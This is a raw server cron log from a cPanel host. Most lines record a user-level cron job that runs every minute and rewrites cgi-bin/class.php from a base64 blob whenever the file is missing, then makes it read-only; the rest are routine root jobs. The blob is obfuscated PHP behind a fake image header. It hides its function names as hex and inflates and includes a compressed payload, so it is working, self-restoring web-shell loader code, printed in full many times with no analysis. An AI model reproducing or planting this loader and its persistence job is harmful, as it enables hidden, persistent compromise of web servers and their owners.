Nov 13 22:44:01 server CROND[9744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:45:01 server CROND[10500]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:45:01 server CROND[10501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:45:01 server CROND[10503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:46:01 server CROND[11485]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:47:01 server CROND[12354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:48:01 server CROND[13131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:49:01 server CROND[14020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:50:01 server CROND[14886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 22:50:01 server CROND[14888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:50:01 server CROND[14891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:50:01 server CROND[14895]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 22:50:01 server CROND[14894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:51:01 server CROND[15816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:52:01 server CROND[16557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:53:01 server CROND[17417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:54:01 server CROND[18432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:55:01 server CROND[19294]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:55:01 server CROND[19295]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:55:01 server CROND[19296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:56:01 server CROND[20193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:57:01 server CROND[21047]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
